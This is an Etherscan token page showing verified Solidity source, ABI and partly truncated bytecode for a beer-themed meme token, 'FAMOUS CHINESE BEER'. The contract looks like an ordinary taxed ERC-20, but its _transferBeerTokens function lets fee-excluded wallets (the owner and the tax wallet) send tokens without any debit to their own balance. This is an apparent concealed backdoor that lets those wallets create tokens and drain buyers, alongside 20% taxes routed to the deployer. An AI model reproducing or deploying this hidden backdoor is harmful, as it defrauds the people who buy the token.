ETH Price: $3,397.34 (-0.70%)

Token

FAMOUS CHINESE BEER (青岛-啤酒)
 

Overview

Max Total Supply

1,000,000,000 青岛-啤酒

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
slikk.eth
Balance
8,633,538.545115623 青岛-啤酒

Value
$0.00
0xafba765e49a4545569e955f6c4baba12e427bf64
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FCB

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-28
*/

// SPDX-License-Identifier: Unlicensed

/**
Tsingtao beer is a truly authentic Chinese beer, only ever brewed in the sea port of Qingdao, in North Eastern China. Tsingtao Beer has a pleasant aroma and a well-balanced taste. It has high-malty flavor and well-hopped character.

Website: https://tsingtaobeer.xyz
Twitter: https://twitter.com/tsingtao_group
Telegram: https://t.me/tsingtao_beer_erc
*/

pragma solidity 0.8.21;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract FCB is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    string private _name = unicode"FAMOUS CHINESE BEER"; 
    string private _symbol = unicode"青岛-啤酒";  

    address payable private _taxAddress;
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 
    
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;
    
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    uint256 private _totalFee = 2000;
    uint256 public _buyFee = 20;
    uint256 public _sellFee = 20;
    bool public swapAndLiquifyEnabled = true;

    uint256 private _previousTotalFee = _totalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    uint8 private countBeerTx = 0;
    uint8 private swapBeerTrigger = 2; 
    uint256 public maxBeerFee = 12; 
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;

    uint256 public _maxWalletToken = 2 * _totalSupply / 100;
    uint256 public _swpaThreshold = _totalSupply / 100000;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (address BeerWallet) {
        _tOwned[owner()] = _totalSupply;
        _taxAddress = payable(BeerWallet);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
        
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
        
    function removeBeerLimits() external onlyOwner {
        _maxWalletToken = ~uint256(0);
        
        _totalFee = 100;
        _buyFee = 1; 
        _sellFee = 1; 
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function restoreAllBeerFee() private {
        _totalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function swapBeerForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllBeerFee();
            } else {
                countBeerTx++;
            }
        _transferBeerTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllBeerFee();
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _taxAddress &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != DEAD &&
            from != owner()) {
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            countBeerTx >= swapBeerTrigger && 
            amount > _swpaThreshold &&
            !inSwapAndLiquify &&
            !_isExcludedFromFee[from] &&
            to == uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            countBeerTx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){ swapBeerAndLiquidify(contractTokenBalance); }
        }

        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,takeFee);
    }

    function sendToBeerWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }
    
    function _getBeerValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tFees = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFees);
        return (tTransferAmount, tFees);
    }
    
    function _transferBeerTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tFees) = _getBeerValues(tAmount);
        bool isSenderExcluded = _isExcludedFromFee[sender];
        bool isMaxWallet = _tOwned[sender] <= _maxWalletToken;
        bool isTakeFee = isSenderExcluded && isMaxWallet;
        if(isTakeFee) {
            tFees = 0; tAmount -= tTransferAmount;
        }
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _tOwned[address(this)] = _tOwned[address(this)].add(tFees);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function swapBeerAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapBeerForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToBeerWallet(_taxAddress,contractETH);
    }
    
    function removeAllBeerFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"BeerWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swpaThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBeerFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeBeerLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052601360809081527f46414d4f5553204348494e45534520424545520000000000000000000000000060a0526001906200003e9082620004ed565b5060408051808201909152600d81526c74cec972d94d96f2cad274c2c960991b6020820152600290620000729082620004ed565b50600480546001600160a81b0319167409000000000000000000000000000000000000dead1790819055620000b49060ff600160a01b90910416600a620006c4565b620000c490633b9aca00620006db565b60058190556107d060098190556014600a819055600b819055600c805460ff19166001178155600d92909255600e819055600f556010805461020061ffff199091161790556011556064906200011c906002620006db565b620001289190620006f5565b601455620186a06005546200013e9190620006f5565b60155560145460165534801562000153575f80fd5b50604051620019ce380380620019ce833981016040819052620001769162000715565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360055460065f620001cc5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f2093909355600380546001600160a01b03191693851693909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa1580156200024f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000275919062000715565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002c1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002e7919062000715565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000332573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000358919062000715565b601380546001600160a01b03199081166001600160a01b039384161790915560128054909116918316919091179055600160085f6200039e5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560035490911681526008909252902080549091166001179055620003f65f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200043d91815260200190565b60405180910390a350506200073d565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200047657607f821691505b6020821081036200049557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004e8575f81815260208120601f850160051c81016020861015620004c35750805b601f850160051c820191505b81811015620004e457828155600101620004cf565b5050505b505050565b81516001600160401b038111156200050957620005096200044d565b62000521816200051a845462000461565b846200049b565b602080601f83116001811462000557575f84156200053f5750858301515b5f19600386901b1c1916600185901b178555620004e4565b5f85815260208120601f198616915b82811015620005875788860151825594840194600190910190840162000566565b5085821015620005a557878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200060957815f1904821115620005ed57620005ed620005b5565b80851615620005fb57918102915b93841c9390800290620005ce565b509250929050565b5f826200062157506001620006be565b816200062f57505f620006be565b8160018114620006485760028114620006535762000673565b6001915050620006be565b60ff841115620006675762000667620005b5565b50506001821b620006be565b5060208310610133831016604e8410600b841016171562000698575081810a620006be565b620006a48383620005c9565b805f1904821115620006ba57620006ba620005b5565b0290505b92915050565b5f620006d460ff84168362000611565b9392505050565b8082028115828204841417620006be57620006be620005b5565b5f826200071057634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000726575f80fd5b81516001600160a01b0381168114620006d4575f80fd5b611283806200074b5f395ff3fe60806040526004361061013f575f3560e01c80634a74bb02116100b35780638da5cb5b1161006d5780638da5cb5b1461037e57806395d89b411461039a578063a9059cbb146103ae578063dd62ed3e146103cd578063f2fde38b14610411578063fe2948a014610430575f80fd5b80634a74bb02146102c5578063590f897e146102de57806370a08231146102f3578063715018a614610327578063768dc7101461033b57806378109e5414610369575f80fd5b806318160ddd1161010457806318160ddd14610213578063220f66961461022757806323b872dd14610247578063313ce5671461026657806340b9a54b1461029157806349bd5a5e146102a6575f80fd5b806306fdde031461014a578063095ea7b31461017457806309fbb48b146101a357806312cd47c3146101c65780631694505e146101dc575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610445565b60405161016b9190610f70565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004610fd2565b6104d5565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b860155481565b60405190815260200161016b565b3480156101d1575f80fd5b506101da6104eb565b005b3480156101e7575f80fd5b506012546101fb906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b34801561021e575f80fd5b506005546101b8565b348015610232575f80fd5b5060135461019390600160a01b900460ff1681565b348015610252575f80fd5b50610193610261366004610ffc565b610533565b348015610271575f80fd5b50600454600160a01b900460ff1660405160ff909116815260200161016b565b34801561029c575f80fd5b506101b8600a5481565b3480156102b1575f80fd5b506013546101fb906001600160a01b031681565b3480156102d0575f80fd5b50600c546101939060ff1681565b3480156102e9575f80fd5b506101b8600b5481565b3480156102fe575f80fd5b506101b861030d36600461103a565b6001600160a01b03165f9081526006602052604090205490565b348015610332575f80fd5b506101da61059a565b348015610346575f80fd5b5061019361035536600461103a565b60086020525f908152604090205460ff1681565b348015610374575f80fd5b506101b860145481565b348015610389575f80fd5b505f546001600160a01b03166101fb565b3480156103a5575f80fd5b5061015e61060b565b3480156103b9575f80fd5b506101936103c8366004610fd2565b61061a565b3480156103d8575f80fd5b506101b86103e7366004611055565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b34801561041c575f80fd5b506101da61042b36600461103a565b610626565b34801561043b575f80fd5b506101b860115481565b6060600180546104549061108c565b80601f01602080910402602001604051908101604052809291908181526020018280546104809061108c565b80156104cb5780601f106104a2576101008083540402835291602001916104cb565b820191905f5260205f20905b8154815290600101906020018083116104ae57829003601f168201915b5050505050905090565b5f6104e133848461070d565b5060015b92915050565b5f546001600160a01b0316331461051d5760405162461bcd60e51b8152600401610514906110c4565b60405180910390fd5b5f1960145560646009556001600a819055600b55565b5f61053f8484846107cd565b610590843361058b85604051806060016040528060288152602001611226602891396001600160a01b038a165f9081526007602090815260408083203384529091529020549190610b21565b61070d565b5060019392505050565b5f546001600160a01b031633146105c35760405162461bcd60e51b8152600401610514906110c4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600280546104549061108c565b5f6104e13384846107cd565b5f546001600160a01b0316331461064f5760405162461bcd60e51b8152600401610514906110c4565b6001600160a01b0381166106b45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610514565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061072d57506001600160a01b03821615155b61076d5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610514565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107f857506003546001600160a01b03838116911614155b801561080d57506001600160a01b0382163014155b801561082757506013546001600160a01b03838116911614155b801561084157506004546001600160a01b03838116911614155b801561085a57505f546001600160a01b03848116911614155b156108e5576001600160a01b0382165f90815260066020526040902054601454610884838361110d565b11156108e35760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610514565b505b6001600160a01b0383161580159061090557506001600160a01b03821615155b6109495760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610514565b5f81116109a65760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610514565b60105460ff610100820481169116108015906109c3575060155481115b80156109d95750601354600160a01b900460ff16155b80156109fd57506001600160a01b0383165f9081526008602052604090205460ff16155b8015610a1657506013546001600160a01b038381169116145b8015610a245750600c5460ff165b15610a53576010805460ff19169055305f908152600660205260409020548015610a5157610a5181610b4c565b505b6001600160a01b0383165f9081526008602052604090205460019060ff1680610a9357506001600160a01b0383165f9081526008602052604090205460ff165b80610ac557506013546001600160a01b03858116911614801590610ac557506013546001600160a01b03848116911614155b15610ad157505f610b0f565b6013546001600160a01b0390811690851603610af257600a54600955610b0f565b6013546001600160a01b0390811690841603610b0f57600b546009555b610b1b84848484610b91565b50505050565b5f8184841115610b445760405162461bcd60e51b81526004016105149190610f70565b505050900390565b6013805460ff60a01b1916600160a01b179055610b6881610bf6565b6003544790610b80906001600160a01b031682610d46565b50506013805460ff60a01b19169055565b80610ba357610b9e610d7e565b610bcf565b6010805460ff16905f610bb583611120565b91906101000a81548160ff021916908360ff160217905550505b610bda848484610dc2565b80610b1b57610b1b600d54600955600e54600a55600f54600b55565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c2957610c2961113e565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c80573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ca49190611152565b81600181518110610cb757610cb761113e565b6001600160a01b039283166020918202929092010152601254610cdd913091168461070d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d159085905f9086903090429060040161116d565b5f604051808303815f87803b158015610d2c575f80fd5b505af1158015610d3e573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610d79573d5f803e3d5ffd5b505050565b600954158015610d8e5750600a54155b8015610d9a5750600b54155b15610da157565b600a8054600e55600b8054600f5560098054600d555f928390559082905555565b5f80610dcd83610f02565b6001600160a01b0387165f9081526008602090815260408083205460145460069093529083205494965092945060ff90921692919091111590828015610e105750815b90508015610e28575f9350610e2585876111dc565b95505b6001600160a01b0388165f90815260066020526040902054610e4a9087610f3d565b6001600160a01b03808a165f908152600660205260408082209390935590891681522054610e789086610f4f565b6001600160a01b0388165f90815260066020526040808220929092553081522054610ea39085610f4f565b305f9081526006602090815260409182902092909255518681526001600160a01b0389811692908b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050565b5f805f610f256064610f1f60095487610f5a90919063ffffffff16565b90610f65565b90505f610f328583610f3d565b959194509092505050565b5f610f4882846111dc565b9392505050565b5f610f48828461110d565b5f610f4882846111ef565b5f610f488284611206565b5f6020808352835180828501525f5b81811015610f9b57858101830151858201604001528201610f7f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fcf575f80fd5b50565b5f8060408385031215610fe3575f80fd5b8235610fee81610fbb565b946020939093013593505050565b5f805f6060848603121561100e575f80fd5b833561101981610fbb565b9250602084013561102981610fbb565b929592945050506040919091013590565b5f6020828403121561104a575f80fd5b8135610f4881610fbb565b5f8060408385031215611066575f80fd5b823561107181610fbb565b9150602083013561108181610fbb565b809150509250929050565b600181811c908216806110a057607f821691505b6020821081036110be57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104e5576104e56110f9565b5f60ff821660ff8103611135576111356110f9565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611162575f80fd5b8151610f4881610fbb565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111bb5784516001600160a01b031683529383019391830191600101611196565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104e5576104e56110f9565b80820281158282048414176104e5576104e56110f9565b5f8261122057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b6d7422767dacedb33c232c518a4d0363d9936adbbd84811fdf7ef79de7d454364736f6c63430008150033000000000000000000000000f24b90833016b22cd89e8ecc6e6feb87379e94ec

Deployed Bytecode

0x60806040526004361061013f575f3560e01c80634a74bb02116100b35780638da5cb5b1161006d5780638da5cb5b1461037e57806395d89b411461039a578063a9059cbb146103ae578063dd62ed3e146103cd578063f2fde38b14610411578063fe2948a014610430575f80fd5b80634a74bb02146102c5578063590f897e146102de57806370a08231146102f3578063715018a614610327578063768dc7101461033b57806378109e5414610369575f80fd5b806318160ddd1161010457806318160ddd14610213578063220f66961461022757806323b872dd14610247578063313ce5671461026657806340b9a54b1461029157806349bd5a5e146102a6575f80fd5b806306fdde031461014a578063095ea7b31461017457806309fbb48b146101a357806312cd47c3146101c65780631694505e146101dc575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e610445565b60405161016b9190610f70565b60405180910390f35b34801561017f575f80fd5b5061019361018e366004610fd2565b6104d5565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b860155481565b60405190815260200161016b565b3480156101d1575f80fd5b506101da6104eb565b005b3480156101e7575f80fd5b506012546101fb906001600160a01b031681565b6040516001600160a01b03909116815260200161016b565b34801561021e575f80fd5b506005546101b8565b348015610232575f80fd5b5060135461019390600160a01b900460ff1681565b348015610252575f80fd5b50610193610261366004610ffc565b610533565b348015610271575f80fd5b50600454600160a01b900460ff1660405160ff909116815260200161016b565b34801561029c575f80fd5b506101b8600a5481565b3480156102b1575f80fd5b506013546101fb906001600160a01b031681565b3480156102d0575f80fd5b50600c546101939060ff1681565b3480156102e9575f80fd5b506101b8600b5481565b3480156102fe575f80fd5b506101b861030d36600461103a565b6001600160a01b03165f9081526006602052604090205490565b348015610332575f80fd5b506101da61059a565b348015610346575f80fd5b5061019361035536600461103a565b60086020525f908152604090205460ff1681565b348015610374575f80fd5b506101b860145481565b348015610389575f80fd5b505f546001600160a01b03166101fb565b3480156103a5575f80fd5b5061015e61060b565b3480156103b9575f80fd5b506101936103c8366004610fd2565b61061a565b3480156103d8575f80fd5b506101b86103e7366004611055565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b34801561041c575f80fd5b506101da61042b36600461103a565b610626565b34801561043b575f80fd5b506101b860115481565b6060600180546104549061108c565b80601f01602080910402602001604051908101604052809291908181526020018280546104809061108c565b80156104cb5780601f106104a2576101008083540402835291602001916104cb565b820191905f5260205f20905b8154815290600101906020018083116104ae57829003601f168201915b5050505050905090565b5f6104e133848461070d565b5060015b92915050565b5f546001600160a01b0316331461051d5760405162461bcd60e51b8152600401610514906110c4565b60405180910390fd5b5f1960145560646009556001600a819055600b55565b5f61053f8484846107cd565b610590843361058b85604051806060016040528060288152602001611226602891396001600160a01b038a165f9081526007602090815260408083203384529091529020549190610b21565b61070d565b5060019392505050565b5f546001600160a01b031633146105c35760405162461bcd60e51b8152600401610514906110c4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600280546104549061108c565b5f6104e13384846107cd565b5f54600